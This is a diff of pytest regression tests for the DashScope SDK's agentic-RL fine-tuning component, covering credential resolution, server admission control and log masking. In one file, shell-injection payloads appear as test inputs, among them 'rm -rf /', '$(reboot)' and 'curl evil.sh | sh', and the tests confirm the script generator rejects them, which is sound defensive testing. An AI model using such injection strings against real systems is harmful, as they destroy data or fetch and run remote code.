@pytest.mark.asyncio + async def test_failed_status_keeps_output_error_4032(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock(return_value={"status": {"code": 500}}), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4032 + + @pytest.mark.asyncio + async def test_partial_upload_keeps_output_error_4033(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock( + return_value={ + "status": {"code": 200}, + "data": {"failed_uploads": [{"name": "train.jsonl"}]}, + }, + ), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4033 + + @pytest.mark.asyncio + async def test_unexpected_error_is_wrapped_as_4034(self, tmp_path): + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + with patch( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request", + new=AsyncMock(side_effect=ValueError("boom")), + ): + with pytest.raises(OutputError) as exc_info: + await to_bailian_data([FileSpec(path=str(data_file))]) + assert exc_info.value.error_code == 4034 diff --git a/tests/test_agentic_rl_review_regressions.py b/tests/test_agentic_rl_review_regressions.py new file mode 100644 index 00000000..832b8458 --- /dev/null +++ b/tests/test_agentic_rl_review_regressions.py @@ -0,0 +1,336 @@ +# -*- coding: utf-8 -*- +"""Regression tests for the dashscope-2.0-agentic-rl-review findings. + +Each test maps to a specific issue in the review so a future refactor that +re-introduces the bug fails loudly: + +- P0 (§2): API Key must be resolved at call time / instance scope, never from + the import-time constant, and an explicit key must reach FC + file requests. +- P1 (§4): two Reward Processor instances must not share ``reward_meta``; a + later instance must not rebind an earlier instance's sub-functions. +- P1 (§5): ``FuncManager.execute()`` must be a working async entry point that + runs ``parses()`` + ``processes()`` (it used to call non-existent + ``parse()`` / ``process()`` and raise ``AttributeError``). + +Imports use the canonical ``dashscope.applications.finetune.reinforcement`` +package so the error/data classes are the exact v2 ones under test. +""" +import inspect +import os +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +from dashscope.applications.finetune.agentic_rl import AgenticRL +from dashscope.applications.finetune.reinforcement import ( + AbstractRewardProcessor, + AgentOutput, + FileSpec, + FunctionType, + Reward, + RewardInput, + RewardOutput, + TaskStatus, + TuningModel, + client_fc, + resolve_api_key, + resolve_fc_api_key, + reward_func, + sub_reward_func, + to_bailian_data, +) +from dashscope.applications.finetune.reinforcement.common import constants +from dashscope.applications.finetune.reinforcement.component.demo import ( + DemoRewardProcessor, +) +from dashscope.applications.finetune.reinforcement.component.func_manager import ( + FuncManager, +) + +# Patch target: ``client_fc`` / ``to_bailian_data`` call ``async_http_request`` +# as a module global inside ``common.utils``. +_HTTP = ( + "dashscope.applications.finetune.reinforcement.common.utils" + ".async_http_request" +) + + +@pytest.fixture(autouse=True) +def _restore_api_key_env(): + """Snapshot/restore credential env vars. + + ``set_api_key`` (called by ``AgenticRL.__init__``) writes directly to + ``os.environ``, which monkeypatch does not track, so restore manually to + keep tests isolated. + """ + keys = ("DASHSCOPE_API_KEY", "FC_API_KEY") + saved = {k: os.environ.get(k) for k in keys} + yield + for k, v in saved.items(): + if v is None: + os.environ.pop(k, None) + else: + os.environ[k] = v + + +# ========================================================================== # +# P0 (§2): credential resolution # +# ========================================================================== # + + +class TestCredentialResolution: + def test_resolve_fc_api_key_precedence(self, monkeypatch): + """explicit > FC_API_KEY > DASHSCOPE_API_KEY > '' (call-time).""" + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + monkeypatch.setenv("FC_API_KEY", "env-fc") + + assert resolve_fc_api_key("explicit") == "explicit" + assert resolve_fc_api_key(None) == "env-fc" + + monkeypatch.delenv("FC_API_KEY") + assert resolve_fc_api_key(None) == "env-dash" + + monkeypatch.delenv("DASHSCOPE_API_KEY") + assert resolve_fc_api_key(None) == "" + + def test_resolve_api_key_precedence(self, monkeypatch): + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + assert resolve_api_key("explicit") == "explicit" + assert resolve_api_key(None) == "env-dash" + + @pytest.mark.asyncio + async def test_register_functions_preserves_fc_env_fallback( + self, + monkeypatch, + ): + monkeypatch.setenv("DASHSCOPE_API_KEY", "env-dash") + monkeypatch.setenv("FC_API_KEY", "env-fc") + instance = AgenticRL() + instance.tuning = MagicMock() + instance.tuning.register_functions = AsyncMock( + return_value=([], [], [], [], [], []), + ) + + await instance.register_functions() + + passed_key = instance.tuning.register_functions.await_args.kwargs[ + "api_key" + ] + assert resolve_fc_api_key(passed_key) == "env-fc" + + def test_runtime_resolution_tracks_env_not_import_snapshot( + self, + monkeypatch, + ): + """The review repro: a key set AFTER import must still be honored. + + ``constants.DASHSCOPE_API_KEY`` is a frozen import-time snapshot; the + resolvers must read the live environment instead so a stale/empty + snapshot can never be used as the runtime credential. + """ + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-new-review") + + assert resolve_api_key(None) == "sk-new-review" + assert resolve_fc_api_key(None) == "sk-new-review" + # The snapshot is not the runtime source (it may still be '' / old). + assert constants.DASHSCOPE_API_KEY != "sk-new-review" + + +class TestExplicitKeyReachesRequests: + @pytest.mark.asyncio + async def test_client_fc_sets_authorization_from_passed_key(self): + """FC requests must carry the key passed in, not a global.""" + captured = {} + + async def _fake_http(**kwargs): + captured.update(kwargs) + return {"status": {"code": 200}} + + with patch(_HTTP, new=_fake_http): + await client_fc( + "sk-explicit", + "https://example.com/api", + {"a": 1}, + ) + + assert captured["headers"]["Authorization"] == "Bearer sk-explicit" + + @pytest.mark.asyncio + async def test_to_bailian_data_uses_explicit_key(self, tmp_path): + """File upload must use the explicit key even when env differs.""" + os.environ["DASHSCOPE_API_KEY"] = "sk-stale-env" + data_file = tmp_path / "train.jsonl" + data_file.write_text('{"prompt": "hi"}', encoding="utf-8") + + captured = {} + + async def _fake_http(**kwargs): + captured.update(kwargs) + return { + "status": {"code": 200}, + "data": {"uploaded_files": [{"file_id": "fid-1"}]}, + } + + with patch(_HTTP, new=_fake_http): + ids = await to_bailian_data( + [FileSpec(path=str(data_file))], + api_key="sk-file", + ) + + assert ids == ["fid-1"] + assert captured["headers"]["Authorization"] == "Bearer sk-file" + + +class TestAgenticRLInstanceScope: + def test_instance_key_isolated_from_env_and_other_instances( + self, + monkeypatch, + ): + """Multiple instances in one process must not clobber each other.""" + rl = AgenticRL(api_key="sk-instance") + assert rl._resolve_api_key() == "sk-instance" + + # Another tenant overwrites the shared process env ... + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + # ... but this instance still resolves its own key. + assert rl._resolve_api_key() == "sk-instance" + + rl2 = AgenticRL(api_key="sk-instance-2") + assert rl2._resolve_api_key() == "sk-instance-2" + assert rl._resolve_api_key() == "sk-instance" + + @pytest.mark.asyncio + async def test_instance_key_threaded_into_upload(self, monkeypatch): + """upload_datasets must forward the instance key (leads to file + requests), not the clobbered env value.""" + rl = AgenticRL(api_key="sk-instance") + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + + rl.tuning = MagicMock(spec=TuningModel) + rl.tuning.upload_datasets = AsyncMock(return_value=(["t"], ["v"])) + + await rl.upload_datasets( + training_files=["a.jsonl"], + validation_files=["b.jsonl"], + ) + + assert ( + rl.tuning.upload_datasets.await_args.kwargs["api_key"] + == "sk-instance" + ) + + @pytest.mark.asyncio + async def test_instance_key_threaded_into_register(self, monkeypatch): + """register_functions must forward the instance key (leads to FC + requests).""" + rl = AgenticRL(api_key="sk-instance") + monkeypatch.setenv("DASHSCOPE_API_KEY", "sk-other-tenant") + + rl.tuning = MagicMock(spec=TuningModel) + rl.tuning.register_functions = AsyncMock( + return_value=([], [], [], [], [], []), + ) + + await rl.register_functions(lazy_load=True) + + assert ( + rl.tuning.register_functions.await_args.kwargs["api_key"] + == "sk-instance" + ) + + +# ========================================================================== # +# P1 (§4): Reward Processor instance isolation # +# ========================================================================== # + + +@reward_func("isolation") +class _IsolationProcessor(AbstractRewardProcessor): + """Reward processor whose sub-function reads per-instance state.""" + + def __init__(self, score_value: float, executor=None): + self.score_value = score_value + super().__init__(executor=executor) + + # pylint: disable=unused-argument + @sub_reward_func("metric", sub_weight=1.0) + def metric(self, input_data: RewardInput) -> RewardOutput: + return RewardOutput( + reward=Reward(reward_score=self.score_value), + status=TaskStatus.SUCCESS, + ) + + +class TestRewardProcessorInstanceIsolation: + @pytest.mark.asyncio + async def test_two_instances_do_not_share_metadata(self): + """The review repro: creating a 2nd instance must not rebind the + 1st instance's sub-functions (old bug made p1 return p2's value).""" + ri = RewardInput( + agent_output=AgentOutput( + messages=[{"role": "assistant", "content": "x"}], + ), + ) + + # ``@reward_func`` injects ``process()`` and clears + # ``__abstractmethods__`` at decoration time, which astroid cannot see. + # pylint: disable=abstract-class-instantiated + p1 = _IsolationProcessor(1.0) + p2 = _IsolationProcessor(2.0) + + # Metadata objects are per-instance, not the shared class attribute. + assert p1.reward_meta is not p2.reward_meta + assert p1.reward_meta is not _IsolationProcessor.reward_meta + + # Each collected sub-function is bound to its own instance. + assert p1.reward_meta.sub_functions["metric"].func.__self__ is p1 + assert p2.reward_meta.sub_functions["metric"].func.__self__ is p2 + + # functions_collected is an instance field, not shared class state. + assert p1.functions_collected is True + assert p2.functions_collected is True + + # Behavioral isolation: p1 keeps its own score after p2 exists. + assert (await p1.process(ri)).reward.reward_score == 1.0 + assert (await p2.process(ri)).reward.reward_score == 2.0 + assert (await p1.process(ri)).reward.reward_score == 1.0 + + +# ========================================================================== # +# P1 (§5): FuncManager.execute() entry point # +# ========================================================================== # + + +class TestFuncManagerExecute: + def test_execute_is_async_and_uses_real_methods(self): + """execute()/processes() are async and the real method names exist. + + Guards against reintroducing the dead ``parse()`` / ``process()`` + calls that raised ``AttributeError``. + """ + assert hasattr(FuncManager, "parses") + assert hasattr(FuncManager, "processes") + assert not hasattr(FuncManager, "parse") + assert not hasattr(FuncManager, "process") + assert inspect.iscoroutinefunction(FuncManager.execute) + assert inspect.iscoroutinefunction(FuncManager.processes) + + @pytest.mark.asyncio + async def test_execute_runs_parse_then_process(self): + manager = FuncManager( + FunctionType.REWARD, + processor=DemoRewardProcessor(), + ) + raw = { + "agent_output": { + "messages": [{"role": "assistant", "content": "hello"}], + }, + "ground_truth": "hello", + } + + result = await manager.execute(raw) + + assert isinstance(result, RewardOutput) + assert result.status == TaskStatus.SUCCESS + # DemoRewardProcessor scores 1.0 when ground_truth is in the messages. + assert result.reward.reward_score == 1.0 diff --git a/tests/test_agentic_rl_script.py b/tests/test_agentic_rl_script.py new file mode 100644 index 00000000..7ca31737 --- /dev/null +++ b/tests/test_agentic_rl_script.py @@ -0,0 +1,107 @@ +# -*- coding: utf-8 -*- +import subprocess + +import pytest + +from dashscope.applications.finetune.reinforcement import InputError +from dashscope.applications.finetune.reinforcement.common.utils import ( + generate_agentic_script, +) + + +def _generate(fc_pypi_lib="dashscope", **overrides): + kwargs = { + "fc_pypi_lib": fc_pypi_lib, + "fc_pypi_repo": "https://pypi.org/simple", + "requirements_path": "reqs.txt", + "func_type": "reward", + "classpath": "module.path.Processor", + } + kwargs.update(overrides) + return generate_agentic_script(**kwargs) + + +def _package_arguments(script): + assignment = next( + line for line in script.splitlines() if line.startswith("SDK_PACKAGE=") + ) + output = subprocess.check_output( + [ + "bash", + "-c", + f"{assignment}\n" + 'read -r -a local_packages <<< "$SDK_PACKAGE"\n' + 'printf "<%s>\\n" "${local_packages[@]}"', + ], + text=True, + ) + return output.splitlines() + + +@pytest.mark.parametrize( + "value", + [ + 'mod.Class"; rm -rf / #', + "mod.$(whoami)", + "mod.`id`", + "mod.Class\necho pwned", + "mod.Class extra", + ], +) +def test_classpath_shell_injection_is_rejected(value): + with pytest.raises(InputError): + _generate(classpath=value) + + +def test_pypi_repo_shell_injection_is_rejected(): + with pytest.raises(InputError): + _generate( + fc_pypi_repo='https://pypi.org/simple"; curl evil.sh | sh; "', + ) + + +@pytest.mark.parametrize( + "value", + [ + "dashscope$(reboot)", + "./dashscope-2.0.3-py3-none-any.whl; rm -rf /", + "./*.whl", + "./x.whl`id`", + "| curl evil.sh", + ], +) +def test_sdk_package_shell_injection_is_rejected(value): + with pytest.raises(InputError): + _generate(fc_pypi_lib=value) + + +@pytest.mark.parametrize( + ("packages", "expected"), + [ + ( + "./dashscope-2.0.3-py3-none-any.whl", + ["./dashscope-2.0.3-py3-none-any.whl"], + ), + ( + "/abs/torch-1.0.0+cpu.whl ../dist/dashscope.whl", + ["/abs/torch-1.0.0+cpu.whl", "../dist/dashscope.whl"], + ), + ("dashscope[extra]==1.0", ["dashscope[extra]==1.0"]), + ("dashscope==1.*", ["dashscope==1.*"]), + ( + "dashscope[extra]==1.0 dashscope==1.*", + ["dashscope[extra]==1.0", "dashscope==1.*"], + ), + ], +) +def test_package_tokens_reach_pip_without_quote_or_glob_changes( + packages, + expected, +): + script = _generate(fc_pypi_lib=packages) + assert _package_arguments(script) == [f"<{value}>" for value in expected] + + +def test_requirements_path_is_shell_quoted(): + script = _generate(requirements_path="my reqs'file.txt") + assert "REQUIREMENTS_FILE='my reqs'\"'\"'file.txt'" in script diff --git a/tests/test_agentic_rl_server_hardening.py b/tests/test_agentic_rl_server_hardening.py new file mode 100644 index 00000000..ed32aaa6 --- /dev/null +++ b/tests/test_agentic_rl_server_hardening.py @@ -0,0 +1,460 @@ +# -*- coding: utf-8 -*- +"""Regression tests for the agentic-RL FC server hardening (review §6, §7). + +- P1 (§6): admission control must be an atomic ``asyncio.Semaphore`` bounded + to ``workers + queue`` (no probing of ``ThreadPoolExecutor._work_queue``), + and a client disconnect must cancel the request while surfacing the + "HTTP cancelled but the sync worker is still running" case. +- P1 (§7): the validation error handler must never log or echo the full + request body by default; sensitive fields are deep-masked and truncated, + and only emitted at DEBUG level. + +The server module reads ``FUNC_TYPE`` / ``PROCESSOR_CLASS`` and builds its +FastAPI app at import time, so it is imported lazily through a fixture and +skipped when ``fastapi`` is not installed. +""" +import asyncio +import contextlib +import importlib +import inspect +import json +import os +import sys +import threading +from unittest.mock import MagicMock + +import pytest + +_SERVER_MODULE = ( + "dashscope.applications.finetune.reinforcement.component.server.server" +) +_DEMO_PROCESSOR = ( + "dashscope.applications.finetune.reinforcement.component.demo" + ".reward_processor_demo.DemoRewardProcessor" +) + + +@pytest.fixture(scope="module") +def server_mod(): + """Import the FC server module without leaking process-wide state.""" + imported_before = set(sys.modules) + pytest.importorskip("fastapi") + env_before = { + key: os.environ.get(key) for key in ("FUNC_TYPE", "PROCESSOR_CLASS") + } + try: + asyncio.get_event_loop() + except RuntimeError: + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + else: + loop = None + os.environ.setdefault("FUNC_TYPE", "reward") + os.environ.setdefault("PROCESSOR_CLASS", _DEMO_PROCESSOR) + module = importlib.import_module(_SERVER_MODULE) + yield module + for name in set(sys.modules) - imported_before: + sys.modules.pop(name, None) + for key, value in env_before.items(): + if value is None: + os.environ.pop(key, None) + else: + os.environ[key] = value + if loop is not None: + loop.close() + asyncio.set_event_loop(None) + + +class _FakeRequest: + """Minimal stand-in for a Starlette Request.""" + + def __init__(self, body: bytes, headers=None): + self._body = body + self.headers = headers if headers is not None else {} + + async def body(self): + return self._body + + +# ========================================================================== # +# P1 (§6): admission control (semaphore) # +# ========================================================================== # + + +class TestAdmissionControl: + def test_does_not_probe_private_work_queue(self, server_mod): + """The fix must not reach into ThreadPoolExecutor internals.""" + src = inspect.getsource(server_mod._check_queue_capacity) + assert "_work_queue" not in src + assert "qsize" not in src + + @pytest.mark.asyncio + async def test_rejects_when_at_capacity(self, server_mod, monkeypatch): + sem = asyncio.Semaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + + # First request is admitted (counter 1 -> 0). + await server_mod._check_queue_capacity() + + # At capacity -> 503, without acquiring. + with pytest.raises(server_mod.HTTPException) as exc_info: + await server_mod._check_queue_capacity() + assert exc_info.value.status_code == 503 + + # Releasing frees a slot again. + server_mod._release_admission() + await server_mod._check_queue_capacity() + + @pytest.mark.asyncio + async def test_admission_is_atomic_under_concurrency( + self, + server_mod, + monkeypatch, + ): + """Exactly N of N+M concurrent requests are admitted (no race that + lets multiple requests pass a check-then-submit window).""" + sem = asyncio.Semaphore(3) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + + async def admit(): + try: + await server_mod._check_queue_capacity() + return "in" + except server_mod.HTTPException: + return "out" + + results = await asyncio.gather(*[admit() for _ in range(6)]) + assert results.count("in") == 3 + assert results.count("out") == 3 + + def test_release_admission_swallows_over_release( + self, + server_mod, + monkeypatch, + ): + """_release_admission must not raise on an unmatched release.""" + sem = asyncio.BoundedSemaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", sem) + # BoundedSemaphore.release() raises ValueError when over-released; + # the helper swallows it. + server_mod._release_admission() + + +class TestDisconnectCancellation: + @pytest.mark.asyncio + async def test_normal_completion_returns_false(self, server_mod): + disconnected = asyncio.Event() + + async def quick(): + return "done" + + async def never_disconnect(): + await asyncio.sleep(30) + + process_task = asyncio.create_task(quick()) + disconnect_listener = asyncio.create_task(never_disconnect()) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is False + disconnect_listener.cancel() + with contextlib.suppress(asyncio.CancelledError): + await disconnect_listener + + @pytest.mark.asyncio + async def test_disconnect_cancels_cancellable_task(self, server_mod): + disconnected = asyncio.Event() + + async def work(): + await asyncio.sleep(30) + + async def listener(): + disconnected.set() + + process_task = asyncio.create_task(work()) + disconnect_listener = asyncio.create_task(listener()) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is True + assert process_task.done() + + @pytest.mark.asyncio + async def test_warns_when_sync_worker_cannot_be_cancelled( + self, + server_mod, + monkeypatch, + ): + """A worker that survives cancellation (like a sync processor already + running in a thread) must be surfaced via a warning.""" + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + + started = asyncio.Event() + + async def stubborn(): + started.set() + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + # Emulate an uninterruptible sync worker: it does not stop + # on cancel and keeps running briefly. + await asyncio.sleep(0.05) + + process_task = asyncio.create_task(stubborn()) + await started.wait() + + disconnected = asyncio.Event() + + async def listener(): + disconnected.set() + + disconnect_listener = asyncio.create_task(listener()) + + async def fake_wait_for(awaitable, timeout): + # Simulate the 5s grace elapsing while the worker is still busy. + awaitable.cancel() + raise asyncio.TimeoutError() + + monkeypatch.setattr(server_mod.asyncio, "wait_for", fake_wait_for) + + result = await server_mod._cancel_task_on_disconnect( + process_task, + disconnect_listener, + disconnected, + ) + + assert result is True + logged = " ".join(str(c) for c in logger_mock.warning.call_args_list) + assert "still running" in logged + + with contextlib.suppress(asyncio.CancelledError): + await process_task + disconnect_listener.cancel() + with contextlib.suppress(asyncio.CancelledError): + await disconnect_listener + + @pytest.mark.asyncio + async def test_sync_cancellation_waits_for_worker(self, server_mod): + started = threading.Event() + release = threading.Event() + + def blocking_worker(): + started.set() + release.wait(5) + + process_task = asyncio.create_task( + server_mod.func_manager._run_sync(blocking_worker), + ) + while not started.is_set(): + await asyncio.sleep(0.001) + + try: + process_task.cancel() + await asyncio.sleep(0) + assert not process_task.done() + finally: + release.set() + + with contextlib.suppress(asyncio.CancelledError): + await process_task + + @pytest.mark.asyncio + async def test_disconnect_holds_admission_until_process_finishes( + self, + server_mod, + monkeypatch, + ): + semaphore = asyncio.BoundedSemaphore(1) + monkeypatch.setattr(server_mod, "_admission_semaphore", semaphore) + created = [] + cancellation_seen = asyncio.Event() + + class Manager: + async def processes(self, _input): + created.append(asyncio.current_task()) + try: + await asyncio.sleep(30) + except asyncio.CancelledError: + cancellation_seen.set() + await asyncio.sleep(30) + + class Request(_FakeRequest): + async def receive(self): + return {"type": "http.disconnect"} + + async def parse_body(_request): + return {} + + async def parse_input(_body): + return object() + + async def trace_context(_request): + return None, None + + async def noop(*_args, **_kwargs): + return None + + async def fake_wait_for(awaitable, timeout): + assert timeout == 5.0 + awaitable.cancel() + raise asyncio.TimeoutError() + + monkeypatch.setattr(server_mod, "func_manager", Manager()) + monkeypatch.setattr(server_mod, "_parse_request_body", parse_body) + monkeypatch.setattr(server_mod, "_parse_processor_input", parse_input) + monkeypatch.setattr( + server_mod, + "_extract_trace_context", + trace_context, + ) + monkeypatch.setattr(server_mod, "_cleanup_trace_context", noop) + monkeypatch.setattr(server_mod, "_log_request_metrics", noop) + monkeypatch.setattr(server_mod.asyncio, "wait_for", fake_wait_for) + + try: + response = await server_mod.handle_endpoint(Request(b"{}")) + assert response.status_code == 499 + await cancellation_seen.wait() + assert semaphore.locked() + finally: + for task in created: + task.cancel() + for task in created: + with contextlib.suppress(asyncio.CancelledError): + await task + + await asyncio.sleep(0) + assert not semaphore.locked() + + +# ========================================================================== # +# P1 (§7): validation handler body masking # +# ========================================================================== # + + +class TestValidationBodyMasking: + @pytest.mark.asyncio + async def test_full_body_not_logged_by_default( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "INFO") + + secret = "SUPER_SECRET_GROUND_TRUTH" + body = json.dumps( + {"ground_truth": secret, "prompt": "p"}, + ).encode() + request = _FakeRequest(body, {"x-fc-request-id": "req-1"}) + exc = server_mod.RequestValidationError( + [ + { + "loc": ("body", "agent_output"), + "msg": "field required", + "type": "value_error.missing", + }, + ], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + logs = " ".join( + str(c) + for c in ( + logger_mock.error.call_args_list + + logger_mock.debug.call_args_list + ) + ) + # The raw body / secret is never logged, and no DEBUG dump happens. + assert secret not in logs + assert not logger_mock.debug.called + # Request id and body size ARE recorded for triage. + assert "req-1" in logs + # The 422 response must not echo the raw body. + assert secret not in resp.body.decode() + + @pytest.mark.asyncio + async def test_sensitive_fields_masked_at_debug( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + raw_key = "sk-abcdefgh123456" + body = json.dumps({"api_key": raw_key, "prompt": "hello"}).encode() + request = _FakeRequest(body, {"x-fc-request-id": "req-2"}) + exc = server_mod.RequestValidationError( + [{"loc": ("body", "x"), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + assert logger_mock.debug.called + dbg = " ".join(str(c) for c in logger_mock.debug.call_args_list) + # Full key masked; only the secret_part_str form is present. + assert raw_key not in dbg + assert "sk-a****3456" in dbg + + @pytest.mark.asyncio + async def test_debug_non_json_body_is_omitted( + self, + server_mod, + monkeypatch, + ): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + body = b'{"ground_truth": "SECRET-GROUND-TRUTH", broken' + request = _FakeRequest(body, {"x-fc-request-id": "req-3"}) + exc = server_mod.RequestValidationError( + [{"loc": ("body",), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler(request, exc) + + assert resp.status_code == 422 + dbg = " ".join(str(c) for c in logger_mock.debug.call_args_list) + assert "SECRET-GROUND-TRUTH" not in dbg + assert "non-JSON body omitted" in dbg + + @pytest.mark.asyncio + async def test_survives_unreadable_body(self, server_mod, monkeypatch): + logger_mock = MagicMock() + monkeypatch.setattr(server_mod, "logger", logger_mock) + monkeypatch.setattr(server_mod, "LOG_LEVEL", "DEBUG") + + class _BadRequest: + headers = {"x-fc-request-id": "req-4"} + + async def body(self): + raise RuntimeError("stream closed") + + exc = server_mod.RequestValidationError( + [{"loc": ("body",), "msg": "err", "type": "t"}], + ) + + resp = await server_mod.validation_exception_handler( + _BadRequest(), + exc, + ) + + # body read failed -> body_bytes None -> no DEBUG body dump. + assert resp.status_code == 422 + assert not logger_mock.debug.called diff --git a/tests/test_audio_tts_http.py b/tests/test_audio_tts_http.py index 6a4b45bf..2c0b3bf1 100644 --- a/tests/test_audio_tts_http.py +++ b/tests/test_audio_tts_http.py @@ -17,6 +17,7 @@ from dashscope import AsyncClient, Client from dashscope.errors import ( APIConnectionError, + APIResponseValidationError, APIStatusError, APITimeoutError, AuthenticationError, @@ -1253,6 +1254,7 @@ async def test_http_tts_stream_failure_logs_and_preserves_contract( client = (_make_async_client if async_mode else _make_client)( lambda request: response, max_retries=0, + strict_validation=fault == "output", ) if fault in { "business", @@ -1264,6 +1266,8 @@ async def test_http_tts_stream_failure_logs_and_preserves_contract( error_type = BadRequestError elif fault in {"json", "shape"}: error_type = DashScopeError + elif fault == "output": + error_type = APIResponseValidationError else: error_type = ValueError try: @@ -1287,6 +1291,9 @@ async def test_http_tts_stream_failure_logs_and_preserves_contract( _assert_http_tts_log(caplog, expected_id) if fault in {"json", "shape"}: assert caught.value.request_id == "header-id" + elif error_type is APIResponseValidationError: + assert caught.value.response is response + assert caught.value.body["status_code"] == body["status_code"] elif error_type is BadRequestError: assert caught.value.request_id == expected_id assert caught.value.body == body @@ -1301,6 +1308,56 @@ async def test_http_tts_stream_failure_logs_and_preserves_contract( client.close() +@pytest.mark.asyncio +@pytest.mark.parametrize("async_mode", [False, True]) +async def test_http_tts_stream_degrades_invalid_status_without_error_log( + caplog, + async_mode, +): + caplog.set_level(logging.ERROR, logger=_HTTP_TTS_LOGGER) + data = _frame( + { + "status_code": "invalid-status", + "request_id": "body-id", + "output": {"audio": {"data": _b64(b"first")}}, + }, + ) + _frame( + { + "request_id": "body-id", + "output": {"audio": {"data": _b64(b"last")}}, + }, + ) + wire = (_AsyncTrackedStream if async_mode else _TrackedStream)(data) + response = httpx.Response( + 200, + stream=wire, + headers={"content-type": "text/event-stream"}, + ) + client = (_make_async_client if async_mode else _make_client)( + lambda request: response, + ) + try: + if async_mode: + stream = await client.audio.tts.http.stream("text", **_TTS_ARGS) + chunks = [chunk async for chunk in stream] + else: + chunks = list(client.audio.tts.http.stream("text", **_TTS_ARGS)) + assert [chunk.audio for chunk in chunks] == [b"first", b"last"] + assert chunks[0].status_code is None + assert not chunks[0].is_error + assert response.is_closed and wire.closed + assert not [ + record + for record in caplog.records + if record.name == _HTTP_TTS_LOGGER + ] + finally: + if async_mode: + await client.aclose() + else: + client.close() + + @pytest.mark.asyncio @pytest.mark.parametrize("async_mode", [False, True]) @pytest.mark.parametrize( diff --git a/tests/test_config.py b/tests/test_config.py index f6177a76..ed408bca 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -14,6 +14,7 @@ DEFAULT_MAX_RETRIES, DEFAULT_PROTOCOL, DEFAULT_REGION, + DEFAULT_STRICT_VALIDATION, DEFAULT_TIMEOUT, LEGACY_GATEWAY_HOSTS, LEGACY_WS_GATEWAY_HOSTS, @@ -47,6 +48,7 @@ def clean_env(monkeypatch, tmp_path): "DASHSCOPE_PROTOCOL", "DASHSCOPE_TIMEOUT", "DASHSCOPE_MAX_RETRIES", + "DASHSCOPE_STRICT_VALIDATION", "DASHSCOPE_CONFIG", ): monkeypatch.delenv(name, raising=False) @@ -114,6 +116,10 @@ def test_defaults(clean_env, tmp_path): max_retries=DEFAULT_MAX_RETRIES, protocol_base_url=_WS_GATEWAY, ) + # Spelled out even though both sides default to it: degradation is + # the shipped behaviour, so a flipped default must fail here loudly. + assert cfg.strict_validation is DEFAULT_STRICT_VALIDATION + assert cfg.strict_validation is False def test_protocol_default_base_url(clean_env, tmp_path): @@ -658,3 +664,153 @@ async def test_async_with_options(clean_env, tmp_path): await derived.aclose() assert not client.transport.http_client.is_closed await client.aclose() + + +def test_strict_validation_defaults_to_false(clean_env, tmp_path): + from dashscope._config import settings + + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is False + assert settings.strict_validation is False + assert cfg.strict_validation is DEFAULT_STRICT_VALIDATION + bare = Config( + api_key=None, + base_url=_WS_GATEWAY, + workspace="ws-123", + protocol=DEFAULT_PROTOCOL, + timeout=DEFAULT_TIMEOUT, + max_retries=DEFAULT_MAX_RETRIES, + protocol_base_url=_WS_GATEWAY, + ) + assert bare.strict_validation is False + + +def test_strict_validation_env_truthy_spellings(clean_env, tmp_path): + absent = tmp_path / "absent.toml" + for raw in ("1", "true", "TRUE", "Yes", "on", "t", "y"): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", raw) + cfg = resolve_config(workspace="ws-123", config_path=absent) + assert cfg.strict_validation is True, raw + + +def test_strict_validation_env_zero_is_false_not_truthy(clean_env, tmp_path): + # A non-empty string is truthy in Python, so reading the env with + # bare truthiness (or ``bool(raw)``) would turn "off" into "on". + absent = tmp_path / "absent.toml" + for raw in ("0", "false", "FALSE", "No", "off", "f", "n"): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", raw) + cfg = resolve_config(workspace="ws-123", config_path=absent) + assert cfg.strict_validation is False, raw + + +def test_strict_validation_env_empty_counts_as_unset(clean_env, tmp_path): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "") + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is False + + +def test_strict_validation_env_garbage_names_the_variable(clean_env): + clean_env.setenv("DASHSCOPE_STRICT_VALIDATION", "maybe") 